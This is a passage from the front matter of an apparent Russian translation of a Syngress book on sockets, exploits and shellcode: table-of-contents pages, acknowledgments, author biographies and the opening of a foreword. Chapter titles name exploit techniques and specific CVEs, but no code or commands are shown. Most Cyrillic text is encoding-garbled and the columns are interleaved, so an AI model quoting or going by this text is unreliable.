Ýêñïëîéòû äëÿ àòàêè íà ëîêàëüíûå è óäàëåííûå ïðîãðàììû ................. 505 Îïèñàíèå óÿçâèìîñòè .............................................................................. 538
Àíàëèç ....................................................................................................... 507 Ýêñïëîéò ................................................................................................... 541
Àòàêè íà ôîðìàòíóþ ñòðîêó ........................................................................... 507 Âûâîä ........................................................................................................ 543
Ôîðìàòíûå ñòðîêè ........................................................................................ 507 Ïîèñê ïåðåïîëíåíèé ñòåêà â ïðîãðàììàõ ñ íåäîñòóïíûìè èñõîäíûìè
Àíàëèç ....................................................................................................... 508 òåêñòàìè .................................................................................................... 543
Àíàëèç ....................................................................................................... 509 Ýêñïëîéòû äëÿ çàòèðàíèÿ êó÷è ...................................................................... 544
18 Техника взлома: сокеты, эксплойты и shell!код Содержание 19

Ðåàëèçàöèÿ Äóãà Ëåà .................................................................................. 545 Îïðåäåëåíèå âåêòîðà àòàêè ........................................................................... 596
Àíàëèç ....................................................................................................... 547 Íàõîæäåíèå ñìåùåíèÿ .................................................................................. 597
Ïðèìåð: óÿçâèìîñòü, ñâÿçàííàÿ ñ ïåðåïîëíåíèåì áóôåðà Âûáîð âåêòîðà óïðàâëåíèÿ ............................................................................ 602
èç-çà íåïðàâèëüíî ñôîðìèðîâàííîãî êëèåíòñêîãî êëþ÷à Âû÷èñëåíèå àäðåñà âîçâðàòà .......................................................................... 607
â OpenSSL SSLv2, CAN-2002-0656 .................................................................. 549 Èñïîëüçîâàíèå àäðåñà âîçâðàòà ..................................................................... 612
Îïèñàíèå óÿçâèìîñòè .............................................................................. 550 Îïðåäåëåíèå íåäîïóñòèìûõ ñèìâîëîâ ......................................................... 614
Îïèñàíèå ýêñïëîéòà ................................................................................. 550
Îïðåäåëåíèå îãðàíè÷åíèé íà ðàçìåð ............................................................ 615
Òðóäíîñòè .................................................................................................. 552
Óñîâåðøåíñòâîâàíèå ýêñïëîéòà ............................................................... 553 Äîðîæêà èç NOP-êîìàíä ............................................................................... 617
Âûâîä ........................................................................................................ 553 Âûáîð ïîëåçíîé íàãðóçêè è êîäèðîâùèêà .................................................... 619
Êîä ýêñïëîéòà äëÿ ïåðåïîëíåíèÿ áóôåðà èç-çà íåïðàâèëüíî Èíòåãðèðîâàíèå ýêñïëîéòà â êàðêàñ ............................................................. 629
ñôîðìèðîâàííîãî êëèåíòñêîãî êëþ÷à â OpenSSL SSLv2 ................. 554 Âíóòðåííåå óñòðîéñòâî êàðêàñà .................................................................... 629
Ðåàëèçàöèÿ malloc â ÎÑ System V ............................................................ 560 Àíàëèç ñóùåñòâóþùåãî ìîäóëÿ ýêñïëîéòà ................................................... 631
Àíàëèç ....................................................................................................... 562 Ïåðåîïðåäåëåíèå ìåòîäîâ ............................................................................. 637
Àíàëèç ....................................................................................................... 563
Ðåçþìå ................................................................................................................ 638
Ýêñïëîéòû äëÿ îøèáîê ïðè ðàáîòå ñ öåëûìè ÷èñëàìè ........................... 564
Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 639
Ïåðåïîëíåíèå öåëîãî ÷èñëà .......................................................................... 564
Àíàëèç ....................................................................................................... 565 Ññûëêè íà ñàéòû ................................................................................................ 640
Àíàëèç ....................................................................................................... 567 ×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 641
Îáõîä ïðîâåðêè ðàçìåðà ................................................................................ 567
Глава 13. Написание компонентов для задач, связанных
Àíàëèç ....................................................................................................... 568
с безопасностью ..................................................................................... 643
Àíàëèç ....................................................................................................... 569
Äðóãèå îøèáêè, ñâÿçàííûå ñ öåëûìè ÷èñëàìè ........................................... 569 Ââåäåíèå ............................................................................................................. 644
Ïðèìåð: óÿçâèìîñòü OpenSSH èç-çà ïåðåïîëíåíèÿ öåëîãî â ïðîöåäóðå Ìîäåëü COM ...................................................................................................... 644
îêëèêà/îòçûâà CVE-2002-0639 ........................................................................ 570 COM-îáúåêòû ................................................................................................ 645
Äåòàëè óÿçâèìîñòè ......................................................................................... 570 COM-èíòåðôåéñû .......................................................................................... 645
Äåòàëè ýêñïëîéòà ....................................................................................... 571 Èíòåðôåéñ IUnknown ............................................................................... 645
Ïðèìåð: óÿçâèìîñòü â UW POP2, ñâÿçàííàÿ ñ ïåðåïîëíåíèåì áóôåðà, Ñîãëàøåíèå î âûçîâå .............................................................................. 645
CVE-1999-0920 ................................................................................................... 574 Ñðåäà èñïîëíåíèÿ COM ................................................................................. 646
Äåòàëè óÿçâèìîñòè ......................................................................................... 574 Ðåàëèçàöèÿ COM-îáúåêòà .............................................................................. 647
Ðåãèñòðàöèÿ COM-îáúåêòà ....................................................................... 647
Ðåçþìå ................................................................................................................ 584
Êëþ÷ HKEY_CLASSES_ROOT\CLSID ....................................................... 649
Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 584 Êëþ÷ HKEY_CLASSES_ROOT\CLSID\
Ññûëêè íà ñàéòû ................................................................................................ 585 {xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx} ................................................. 649
×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 586 Êëþ÷ InprocServer32 ................................................................................. 649
Êëþ÷ LocalServer32 ................................................................................... 649
Глава 12. Написание эксплойтов III .................................................... 587
Ðåàëèçàöèÿ âíóòðèïðîöåññíîãî ñåðâåðà ....................................................... 649
Ââåäåíèå ............................................................................................................. 588 Ôóíêöèÿ DllGetClassObject ....................................................................... 650
Èñïîëüçîâàíèå êàðêàñà Metasploit Framework ............................................. 588 Ôóíêöèÿ DllCanUnloadNow ...................................................................... 650
Ðàçðàáîòêà ýêñïëîéòîâ ñ ïîìîùüþ êàðêàñà Metasploit .............................. 595 Ôóíêöèÿ DllRegisterServer .......................................................................... 650
20 Техника взлома: сокеты, эксплойты и shell!код Содержание 21

Ôóíêöèÿ DllUnregisterServer ...................................................................... 651 Èíòåãðàöèÿ ñ ïðèëîæåíèåì: ôàéë RPCDump.c ............................................. 695
Áèáëèîòåêà ATL ................................................................................................. 651 Àíàëèç ....................................................................................................... 696
Øàáëîíû â ÿçûêå C++ ................................................................................... 652 Ðåçþìå ................................................................................................................ 698
Òåõíîëîãèÿ ðåàëèçàöèè êëèåíòà ñ ïîìîùüþ ATL ........................................ 652 Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 698
Èíòåëëåêòóàëüíûå óêàçàòåëè ................................................................... 653 Ññûëêè íà ñàéòû ................................................................................................ 699
Ïîääåðæêà òèïîâ äàííûõ ......................................................................... 653
×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 699
Òèï äàííûõ BSTR ..................................................................................... 653
Òèï äàííûõ VARIANT .............................................................................. 654 Глава 14. Создание инструмента для проверки уязвимости
Òåõíîëîãèÿ ðåàëèçàöèè ñåðâåðà ñ ïîìîùüþ ATL ........................................ 656 Web!приложения ................................................................................... 703
Êîìïîçèöèÿ êëàññîâ ................................................................................. 656 Ââåäåíèå ............................................................................................................. 704
ßçûê îïðåäåëåíèÿ èíòåðôåéñîâ ............................................................. 659 Ïðîåêòèðîâàíèå................................................................................................ 705
Ðåãèñòðàöèÿ êëàññà .................................................................................... 663
Ôîðìàò ñèãíàòóðû àòàêè ................................................................................ 705
Ðåàëèçàöèÿ âíóòðèïðîöåññíîãî COM-ñåðâåðà ....................................... 666
Ñèãíàòóðû ...................................................................................................... 705
Ãëîáàëüíàÿ ïåðåìåííàÿ _AtlModule ......................................................... 666
Ôóíêöèè, ýêñïîðòèðóåìûå èç DLL .......................................................... 667 Óãëóáëåííûé àíàëèç ......................................................................................... 706
Òî÷êà âõîäà â ìîäóëü ................................................................................. 669 Ñîêåòû è îòïðàâêà ñèãíàòóðû .................................................................. 706
Ðåàëèçàöèÿ âíåïðîöåññíîãî COM-ñåðâåðà ............................................. 669 Àíàëèç ....................................................................................................... 715
Ãëîáàëüíàÿ ïåðåìåííàÿ _AtlModule ................................................... 669 Ðàçáîð áàçû äàííûõ ................................................................................. 717
Òî÷êà âõîäà â ìîäóëü ................................................................................. 669 Àíàëèç ....................................................................................................... 721
Àíàëèç ....................................................................................................... 727
Àòðèáóòû ATL ................................................................................................ 670
Çàãîëîâî÷íûå ôàéëû ..................................................................................... 730
Àòðèáóò module ......................................................................................... 672
Àòðèáóò interface ....................................................................................... 673 Êîìïèëÿöèÿ ................................................................................................... 733
Àòðèáóò coclass .......................................................................................... 674 Âûïîëíåíèå ................................................................................................... 733
Êîìïèëÿöèÿ COM-ñåðâåðà .................................................................. 675 Ñïðàâêà î ïðîãðàììå ............................................................................... 733
Äîáàâëåíèå COM-ðàñøèðåíèé â ïðîãðàììó RPCDUMP ......................... 675 Ðåçóëüòàòû ðàáîòû ........................................................................................... 734
Àíàëèç ....................................................................................................... 678 Ðåçþìå ................................................................................................................ 735
Ïîòîê óïðàâëåíèÿ ......................................................................................... 680 Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 735
Àíàëèç ....................................................................................................... 681 Ññûëêè íà ñàéòû ................................................................................................ 736
Ïðîöåäóðû èíòåãðàöèè ñ ïðèëîæåíèåì ....................................................... 682 ×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 736
Àíàëèç ....................................................................................................... 683
Îïðåäåëåíèå èíòåðôåéñîâ COM-îáúåêòîâ .................................................. 685 Приложение А. Глоссарий .................................................................... 739
Èíòåðôåéñ IRpcEnum .............................................................................. 686 Приложение В. Полезные программы для обеспечения
Èíòåðôåéñ IEndPointCollection ................................................................ 686 безопасности .......................................................................................... 747
Èíòåðôåéñ IEndPoint ................................................................................ 688
Ïðîâåðêà èñõîäíûõ òåêñòîâ ........................................................................... 748
Êëàññû êîìïîíåíòîâ ...................................................................................... 688
Èíñòðóìåíòû äëÿ ãåíåðèðîâàíèÿ shell-êîäà ................................................. 748
Àíàëèç ....................................................................................................... 689
Îòëàä÷èêè ...................................................................................................... 748
Àíàëèç ....................................................................................................... 690
Àíàëèç ....................................................................................................... 693 Êîìïèëÿòîðû ................................................................................................. 749
Èíòåãðàöèÿ ñ ïðèëîæåíèåì: ôàéë COMSupport.h ........................................ 695 Ýìóëÿòîðû àïïàðàòóðû ................................................................................. 749
Àíàëèç ....................................................................................................... 695 Áèáëèîòåêè ..................................................................................................... 750
22 Техника взлома: сокеты, эксплойты и shell!код

Àíàëèç óÿçâèìîñòåé ....................................................................................... 750


Àíàëèçàòîðû ñåòåâîãî òðàôèêà ..................................................................... 751
Ãåíåðàòîðû ïàêåòîâ ....................................................................................... 751
Ñêàíåðû .......................................................................................................... 752 Благодарности
Приложение С. Архивы эксплойтов .................................................... 753
Àðõèâû ýêñïëîéòîâ â Èíòåðíåòå ............................................................ 754 Ïðåæäå âñåãî, õî÷ó ïîáëàãîäàðèòü ñâîþ ñåìüþ çà íåèçìåííóþ âåðó â ìåíÿ
è â òå àìáèöèîçíûå öåëè, êîòîðûå ÿ ïåðåä ñîáîé ñòàâëþ. Âû ïðîäîëæàåòå
Приложение D. Краткий справочник по системным вызовам ........ 755 ïîääåðæèâàòü ìîè ìå÷òû è óñòðåìëåíèÿ. Ìàìà, ïàïà, Ñòèâ è Ìàìó – ìîÿ áëà-
exit (int ) .......................................................................................................... 756 ãîäàðíîñòü âàì íå çíàåò ãðàíèö.
open (file, flags, mode) ..................................................................................... 756 Õîòåë áû òàêæå âûðàçèòü ïðèçíàòåëüíîñòü âñåì, êòî ïîìîãàë ìíå â íàïè-
close (äåñêðèïòîð ôàéëà) ............................................................................... 756 ñàíèè ýòîé êíèãè, â òîì ÷èñëå Ìàéêó Ïðàéñó (Mike Price), Ìàðøàëëó Áåääîó
read (äåñêðèòîð ôàéëà, óêàçàòåëü íà áóôåð, ÷èñëî áàéòîâ) ......................... 756 (Marshall Beddoe), Òîíè Áåòòèíè (Tony Bettini), ×àäó Êýðòèñó (Chad Curtis),
write (äåñêðèòîð ôàéëà, óêàçàòåëü íà áóôåð, ÷èñëî áàéòîâ) ........................ 756 Íèëüñó Õåéíåíó (Niels Heinen), Ðàññó Ìèëëåðó (Russ Miller), Áëåéêó Óîòòñó
execve (ôàéë, ôàéë + àðãóìåíòû, ïåðåìåííûå îêðóæåíèÿ) ......................... 756 (Blake Watts), Êýâèíó Õýððèôîðäó (Kevin Harriford), Òîìó Ôåððèñó (Tom
socketcall (íîìåð ôóíêöèè, àðãóìåíòû) ........................................................ 757 Ferris), Äåéâó Ýéòåëþ (Dave Aitel), Ñèíàí Ýðåí (Sinan Eren) è Ñòþàðòó Ìàêêëå-
ðó (Stuart McClure). Ðåáÿòà, âû âåëèêîëåïíû. Ñïàñèáî âàì!
socket (àäðåñíîå ñåìåéñòâî, òèï, ïðîòîêîë) ................................................. 757
Îòäåëüíîå ñïàñèáî êîðïîðàöèè Computer Sciences Corporation çà ðàçðåøå-
bind (äåñêðèïòîð ñîêåòà, ñòðóêòóðà sockaddr, ðàçìåð âòîðîãî
íèå îïóáëèêîâàòü ýòó ðàáîòó. Ðåã Ôîóëêñ (Reg Foulkes) – òû ïàðåíü ÷òî íàäî!
àðãóìåíòà) ................................................................................................. 757
Êðîìå òîãî, áëàãîäàðíîñòü çàñëóæèëè Êðèñ Ñòåéíáàõ (Chris Steinbach), Äæåé-
l isten (äåñêðèïòîð ñîêåòà, ìàêñèìàëüíûé ðàçìåð î÷åðåäè ñîåäèíåíèé) ..... 757
ñîí Ýíðàéò (Jason Enwright), Ðîí Íîóä (Ron Knode), Äæåííèôåð Øóëüöå
accept (äåñêðèïòîð ñîêåòà, ñòðóêòóðà sockaddr, ðàçìåð âòîðîãî (Jennifer Shulze) è Ìýðè Ïðàòò (Mary Pratt).
àðãóìåíòà) ................................................................................................. 758 È íàïîñëåäîê õî÷ó ïîáëàãîäàðèòü âåñü êîëëåêòèâ èçäàòåëüñòâà Syngress
Приложение Е. Справочник по преобразованию данных ............. 759 Publishing. Ãýðè, ñïàñèáî òåáå çà òå äîëãèå ÷àñû, êîòîðûå òû ïîòðàòèë íà ýòó
êíèãó. Ýìè, ñïàñèáî çà ðàáîòó íàä ýòîé è äðóãèìè êíèãàìè. Ýíäðþ, ïðèìè
Предметный указатель ......................................................................... 765 áëàãîäàðíîñòü çà îêàçàííóþ ìíå ïîääåðæêó è çà òî, ÷òî òû ïðîäîëæàåøü ðà-
áîòàòü íàä òàêèìè óâëåêàòåëüíûìè ïðîåêòàìè. Òàê äåðæàòü, Syngress. ß æå
íàäåþñü â çàíÿòüñÿ áëèæàéøåì áóäóùåì íå ìåíåå èíòåðåñíûì ïðîåêòîì.
Об основном авторе 25

íèå), Advanced Intrusion Detection, Hacking the Code: ASP.NET Web Application
Security (Syngress, ISBN: 1-932266-65-8), Anti-Spam Toolkit è Google Hacking for
Penetration Techniques (Syngress, ISBN: 1-931836-36-1).
Об авторе
Äæåéìñ Ê. Ôîñòåð ÿâëÿåòñÿ çàìåñòèòåëåì äèðåêòîðà êîìïàíèè Global Security
Solution Development for Computer Sciences Corporation, ãäå îòâå÷àåò çà ïîñòà-
íîâêó è ðåàëèçàöèþ ðåøåíèé, îòíîñÿùèõñÿ ê ðàçëè÷íûì àñïåêòàì áåçîïàñ-
íîñòè: ôèçè÷åñêîé, êàäðîâîé è èíôîðìàöèîííîé. Äî ïåðåõîäà â CSC Ôîñòåð
Об основном соавторе
ðàáîòàë äèðåêòîðîì ïî èññëåäîâàíèÿì è ðàçðàáîòêàì â ôèðìå Foundstone
Inc. (ïîçäíåå åå ïðèîáðåëà êîìïàíèÿ McAfee), ãäå îòâå÷àë çà âñå àñïåêòû èç- Ìàéêë Ïðàéñ çàíèìàåò äîëæíîñòü ãëàâíîãî èíæåíåðà ïî èññëåäîâàíèÿì è
ãîòîâëåíèÿ ïðîäóêòîâ, êîíñàëòèíã è êîðïîðàòèâíûå èíèöèàòèâû â îáëàñòè ðàçðàáîòêàì â êîìïàíèè McAfee (ðàíåå ðàáîòàë â ôèðìå Foundstone, Inc.),
ÍÈÎÊÐ. Åùå ðàíüøå Ôîñòåð áûë êîíñóëüòàíòîì è íàó÷íûì ñîòðóäíèêîì åãî ïðîôåññèÿ – èíôîðìàöèîííàÿ áåçîïàñíîñòü.  äîïîëíåíèå ê îñíîâíîé
â êîìïàíèè Guardent Inc. (åå ïðèîáðåëà ôèðìà Verisign) è îäíèì èç àâòîðîâ, ðàáîòå Ìàéê àêòèâíî çàíèìàåòñÿ àóäèòîì áåçîïàñíîñòè, àíàëèçîì êîäà,
ïèøóùèõ äëÿ æóðíàëà Information Security (ïðèîáðåòåííîãî TechTarget). Äî îáó÷åíèåì, ðàçðàáîòêîé ïðîãðàììíîãî îáåñïå÷åíèÿ è èññëåäîâàíèÿìè äëÿ
ýòîãî îí ðàáîòàë ñïåöèàëèñòîì-èññëåäîâàòåëåì â îáëàñòè áåçîïàñíîñòè â ìè- ïðàâèòåëüñòâà è ÷àñòíîãî ñåêòîðà.  êîìïàíèè Foundstone Ìàéê îòâå÷àë çà
íèñòåðñòâå îáîðîíû. Îñíîâíûå åãî èíòåðåñû ëåæàò â ñôåðå âûñîêîòåõíîëî- ïîèñê óÿçâèìîñòåé, íàó÷íûå èçûñêàíèÿ â îáëàñòè ñåòåé è ïðîòîêîëîâ, ðàçðà-
ãè÷íîãî äèñòàíöèîííîãî óïðàâëåíèÿ, ìåæäóíàðîäíîé ýêñïàíñèè, ïðèêëàä- áîòêó ïðîãðàìì è îïòèìèçàöèþ êîäà. Åãî èíòåðåñû ëåæàò ãëàâíûì îáðàçîì
íîé áåçîïàñíîñòè, àíàëèçà ïðîòîêîëîâ è àëãîðèòìîâ ïîèñêà. Ôîñòåð ìíîãî â ñôåðå ðàçðàáîòêè ïðîãðàìì äëÿ îáåñïå÷åíèÿ áåçîïàñíîñòè ñåòåé è îòäåëü-
ðàç âûïîëíÿë àíàëèç êîäà îòäåëüíûõ êîìïîíåíòîâ êîììåð÷åñêèõ ÎÑ, ïðèëî- íûõ ìàøèí íà ïëàòôîðìàõ BSD è Windows. Ðàíåå Ìàéê ðàáîòàë â êîìïàíèè
æåíèé äëÿ ïëàòôîðìû Win32 è êîììåð÷åñêèõ ðåàëèçàöèé êðèïòîãðàôè÷å- SecureSoft Systems èíæåíåðîì ïî ðàçðàáîòêå ïðîãðàìì äëÿ îáåñïå÷åíèÿ áåçî-
ñêèõ ñèñòåì. ïàñíîñòè. Ìàéê íàïèñàë ìíîæåñòâî ïðîãðàìì, â òîì ÷èñëå ðåàëèçàöèè ðàç-
Ôîñòåð ÷àñòî âûñòóïàåò íà ðàçëè÷íûõ êîíôåðåíöèÿõ, òåõíè÷åñêèõ ôîðó- ëè÷íûõ êðèïòîãðàôè÷åñêèõ àëãîðèòìîâ, àíàëèçàòîðû ñåòåâûõ ïðîòîêîëîâ è
ìàõ, ïîñâÿùåííûõ èññëåäîâàíèÿì â îáëàñòè áåçîïàñíîñòè â ÑØÀ, óäåëÿÿ îñî- ñêàíåðû óÿçâèìîñòåé.
áîå âíèìàíèå òàêèì ìåðîïðèÿòèÿì êàê Microsoft Security Summit, Black Hat
USA, Black Hat Windows, MIT Wireless Research Forum, SANS, MilCon, TechGov,
InfoSec World 2001 è Thomson Security Conference. Åãî íåðåäêî ïðîñÿò âûñêà-
çàòü ìíåíèå ïî àêòóàëüíûì ïðîáëåìàì áåçîïàñíîñòè è öèòèðóþò â òàêèõ èç-
äàíèÿõ êàê USAToday, æóðíàëàõ Information Security, Basel ine, Computer-
world, Secure Computing è MIT Technologist. Ôîñòåð èìååò ó÷åíóþ ñòåïåíü
áàêàëàâðà, îáëàäàåò ñåðòèôèêàòîì MBA, à òàêæå ìíîãèìè äðóãèìè òåõíè÷å-
ñêèìè è óïðàâëåí÷åñêèìè ñåðòèôèêàòàìè. Îí ñëóøàë êóðñû èëè ïðîâîäèë íà-
ó÷íûå èññëåäîâàíèÿ â òàêèõ ó÷åáíûõ çàâåäåíèÿõ, êàê Éåëüñêàÿ øêîëà áèçíå-
ñà, Ãàðâàðäñêèé óíèâåðñèòåò è óíèâåðñèòåò øòàòà Ìýðèëåíä, à â íàñòîÿùåå
âðåìÿ çàíèìàåòñÿ èññëåäîâàòåëüñêîé ðàáîòîé â Øêîëå áèçíåñà â Âàðòîíå
(Wharton), øòàò Ïåíñèëüâàíèÿ.
Ôîñòåð ÷àñòî ïóáëèêóåòñÿ â ðàçëè÷íûõ êîììåð÷åñêèõ è îáðàçîâàòåëüíûõ
èçäàíèÿõ. Îí àâòîð, ñîàâòîð èëè ðåäàêòîð ìíîãèõ îáúåìíûõ ïóáëèêàöèé,
â ÷àñòíîñòè: Snort 2.1 Intrusion Detection (Syngress Publishing, ISBN: 1-931836-
04-3), Hacking Exposed (÷åòâåðòîå èçäàíèå), Anti-Hacker Toolkit (âòîðîå èçäà-
Прочие соавторы, редакторы и авторы кода 27

Ðàññ Ìèëëåð (Russ


Russ Miller
Miller) ðàáîòàåò ñòàðøèì êîíñóëüòàíòîì â êîìïàíèè
Verisign, Inc. Îí âûïîëíèë àíàëèç ìíîãèõ Web-ïðèëîæåíèé è ïðîèçâåë òåñòè-

Прочие соавторы, редакторы ðîâàíèå ñèñòåìû íà âîçìîæíîñòü âòîðæåíèÿ äëÿ íåñêîëüêèõ êîìïàíèè èç
ñïèñêà Fortune 100, â òîì ÷èñëå äëÿ êðóïíåéøèõ ôèíàíñîâûõ èíñòèòóòîâ.
Ðàññ ñïåöèàëèçèðóåòñÿ â îñíîâíîì íà èññëåäîâàíèÿõ â îáëàñòè áåçîïàñíîñòè
и авторы кода â öåëîì è ïðèêëàäíîãî óðîâíÿ â ÷àñòíîñòè, ïðîåêòèðîâàíèè ñåòåé, ñîöèàëü-
íîé èíæåíåðèè è â ðàçðàáîòêå áåçîïàñíûõ ïðîãðàìì íà òàêèõ ÿçûêàõ, êàê C,
Íèëüñ Õåéíåí (Niels
Niels Heinen
Heinen) ðàáîòàåò íàó÷íûì ñîòðóäíèêîì â îáëàñòè áåçî- Java è Lisp.
ïàñíîñòè â îäíîé åâðîïåéñêîé ôèðìå. Îí çàíèìàëñÿ èññëåäîâàíèÿìè â îáëà-
ñòè òåõíèêè ïîèñêà è ýêñïëóàòàöèè óÿçâèìîñòåé, îñîáî ñïåöèàëèçèðóåòñÿ íà Áëåéê Óîòòñ (Blake
Blake Watts
Watts) ðàáîòàåò ñòàðøèì èíæåíåðîì â êîìïàíèè
íàïèñàíèè ïîçèöèîííî-íåçàâèñèìîãî êîäà íà ÿçûêå àññåìáëåðà, ïðåäíàçíà- McAfee Foundstone, à ðàíåå çàíèìàëñÿ èññëåäîâàíèÿìè â ðàçëè÷íûõ êîìïàíè-
÷åííîãî äëÿ èçìåíåíèÿ ïîòîêà âûïîëíåíèÿ ïðîãðàììû. Åãî èíòåðåñóþò ÿõ, â òîì ÷èñëå Bindview, Guardent (ïðèîáðåòåíà Verisign) è PenSafe (ïðèîáðå-
ãëàâíûì îáðàçîì ñèñòåìû íà áàçå ïðîöåññîðîâ Intel, íî èìååòñÿ òàêæå îïûò òåíà NetIQ). Îí ñïåöèàëèçèðóåòñÿ íà âíóòðåííåì óñòðîéñòâå è àíàëèçå óÿçâè-
ðàáîòû ñ ïðîöåññîðàìè MIPS, HPPA è îñîáåííî PIC. Íèëüñ ïîëó÷àåò óäî- ìîñòåé Windows è îïóáëèêîâàë ðÿä ðàáîò ïî âîïðîñàì áåçîïàñíîñòè â ýòîé
âîëüñòâèå îò ñîçäàíèÿ ïîëèìîðôíûõ «ýêñïëîéòîâ», ñêàíåðîâ äëÿ àíàëèçà îïåðàöèîííîé ñèñòåìå.
áåñïðîâîäíûõ ñåòåé è äàæå èíñòðóìåíòîâ äëÿ ñíÿòèÿ öèôðîâûõ îòïå÷àòêîâ
ÎÑ. Ó íåãî èìååòñÿ òàêæå ïîñòîÿííàÿ ðàáîòà, ñâÿçàííàÿ ñ óãëóáëåííûì àíà- Âèíñåíò Ëþ (Vincent
Vincent Liu
Liu) – ñïåöèàëèñò ïî áåçîïàñíîñòè â îäíîé èç êîì-
ëèçîì ïðîãðàìì, îòíîñÿùèõñÿ ê áåçîïàñíîñòè. ïàíèé, âõîäÿùèõ â ñïèñîê Fortune 100. Ðàíåå îí çàíèìàë äîëæíîñòü êîíñóëü-
òàíòà â öåíòðå îáåñïå÷åíèÿ áåçîïàñíîñòè êîìïàíèè Ernst & Young, à òàêæå
Ìàðøàëë Áåääîó (Marshall
Marshall Beddoe
Beddoe) – íàó÷íûé ñîòðóäíèê â êîìïàíèè ðàáîòàë â Íàöèîíàëüíîì àãåíòñòâå ïî áåçîïàñíîñòè. Îí ñïåöèàëèçèðóåòñÿ íà
McAfee (ðàíåå â ôèðìå Foundstone). Îí âûïîëíèë ìíîãî ðàáîò â îáëàñòè òåñòèðîâàíèè âîçìîæíîñòè âòîðæåíèÿ, àíàëèçå áåçîïàñíîñòè Web-ïðèëîæå-
ïàññèâíîãî àíàëèçà òîïîëîãèè ñåòåé, óäàëåííîãî îáíàðóæåíèÿ ñèñòåì, ðàáî- íèé è ðàçðàáîòêå «ýêñïëîéòîâ». Âèíñåíò ïðèíèìàë ó÷àñòèå â èññëåäîâàíèÿõ
òàþùèõ â ðåæèìå ïðîïóñêàíèÿ (promiscuous mode), ñíÿòèÿ öèôðîâûõ îòïå- ïî áåçîïàñíîñòè, ôèíàíñèðóåìûõ àãåíòñòâîì DARPA, è âíåñ ñâîé âêëàä
÷àòêîâ ÎÑ, âíóòðåííåãî óñòðîéñòâà îïåðàöèîííîé ñèñòåìû FreeBSD è íîâûõ â ïðîåêò Metasploit. Âèíñåíò ïîëó÷èë ó÷åíóþ ñòåïåíü ïî èíôîðìàòèêå è âû-
ìåòîäîâ ïîèñêà è ýêñïëóàòàöèè óÿçâèìîñòåé. Ìàðøàëë âûñòóïàë íà òàêèõ êîí- ÷èñëèòåëüíîé òåõíèêå â óíèâåðñèòåòå øòàòà Ïåíñèëüâàíèÿ.
ôåðåíöèÿõ ïî áåçîïàñíîñòè êàê Black Hat Briefings, Defcon è Toorcon.

Òîíè Áåòòèíè (TonyTony Bettini


Bettini) âîçãëàâëÿåò îòäåë ÍÈÎÊÐ â êîìïàíèè
McAfee, ðàíåå ðàáîòàë â êîìïàíèÿõ, çàíèìàþùèõñÿ áåçîïàñíîñòüþ, â òîì
÷èñëå Foundstone, Guardent è Bindview. Îí ñïåöèàëèçèðóåòñÿ íà áåçîïàñíîñòè
è ïîèñêå óÿçâèìîñòåé â Windows, ïðîãðàììèðóåò íà àññåìáëåðå, C è äðóãèõ
ÿçûêàõ. Òîíè îáíàðóæèë íåñêîëüêî óÿçâèìîñòåé â ïðîãðàììàõ PGP, ISS
Scanner, Microsoft Windows XP è Winamp.

×åä Êåðòèñ (Chad


Chad Curtis
Curtis) – íåçàâèñèìûé êîíñóëüòàíò, ïðîæèâàþùèé
â Þæíîé Êàëèôîðíèè. ×åä áûë íàó÷íûì ñîòðóäíèêîì â êîìïàíèè Found-
stone, ãäå âîçãëàâëÿë ãðóïïó ïî îáíàðóæåíèþ óãðîç. Îí îáëàäàåò áîëüøèì
îïûòîì â ñîçäàíèè ñåòåâîãî êîäà äëÿ ïëàòôîðìû Win32, íàïèñàíèè ñöåíàðè-
åâ, ýêñïëóàòèðóþùèõ èçâåñòíûå óÿçâèìîñòè è ðàçðàáîòêå èíòåðôåéñîâ.
Îäíî âðåìÿ ×åä ðàáîòàë ñåòåâûì àäìèíèñòðàòîðîì â ñåòè öåíòðîâ îáó÷åíèÿ
ðàáîòå ñ êîìïüþòåðàìè Computer America Training Centers.
Предисловие
Об авторе предисловия
Наступит ли «судный день»?
Ñòþàðò Ìàêêëþð (Stuart
Stuart McClure
McClure) – îáëàäàòåëü ñåðòèôèêàòîâ CISSP, CNE,
CCSE. Îí ðàáîòàåò ñòàðøèì âèöå-ïðåçèäåíòîì ïîäðàçäåëåíèÿ ïî ðàçðàáîòêå Ñî âðåìåí ïîÿâëåíèÿ ïåðâûõ êîìïüþòåðîâ èíäóñòðèÿ áåçîïàñíîñòè ïðîøëà
ïðîãðàìì äëÿ óïðàâëåíèÿ ðèñêàìè â êîìïàíèè McAfee, Inc., ãäå îòâå÷àåò çà íåìàëûé ïóòü. Âèðóñû, ÷åðâè è çëîíàìåðåííûå ïðîãðàììû òåõ äàâíî ìèíóâ-
âûðàáîòêó ñòðàòåãèè è ìàðêåòèíã äëÿ ñåìåéñòâà ïðîãðàììíûõ ïðîäóêòîâ øèõ äíåé íè÷òî ïî ñðàâíåíèþ ñ ñîâðåìåííûìè óãðîçàìè. È â ïðîöåññå ðàç-
âèòèÿ èíäóñòðèÿ îêàçàëàñü ó êðèòè÷åñêîé ÷åðòû. Ñòàíåò ëè ïîñòîÿííî ðàñòó-
McAfee Foundstone ïî óïðàâëåíèþ è ñíèæåíèþ ðèñêîâ. Ýòè ïðîäóêòû ïîçâî-
ùàÿ ñëîæíîñòü (à íàì ïðèõîäèòñÿ âñå áîëüøå óñëîæíÿòü íàøè ñðåäñòâà)
ëÿþò êîìïàíèÿì åæåãîäíî ýêîíîìèòü ìèëëèîíû äîëëàðîâ è ÷åëîâåêî÷àñîâ
óãðîçîé äëÿ ñîâðåìåííîãî îáùåñòâà, êóëüòóðû è ðûíêîâ?
çà ñ÷åò ïðîòèâîñòîÿíèÿ õàêåðñêèì àòàêàì, âèðóñàì, ÷åðâÿì è ïðî÷èì çëîíà-
Îáðàòèìñÿ ê ôàêòàì. Åñëè ñðàâíèòü, ñêîëüêî âðåìåíè òðåáîâàëîñü íà ïðå-
ìåðåííûì ïðîãðàììàì. Äî ýòîãî Ñòþàðò áûë îñíîâàòåëåì, ïðåçèäåíòîì è
âðàùåíèå îáíàðóæåííîé óÿçâèìîñòè â ãîòîâîãî ÷åðâÿ â 1999 ãîäó è ñåãîäíÿ,
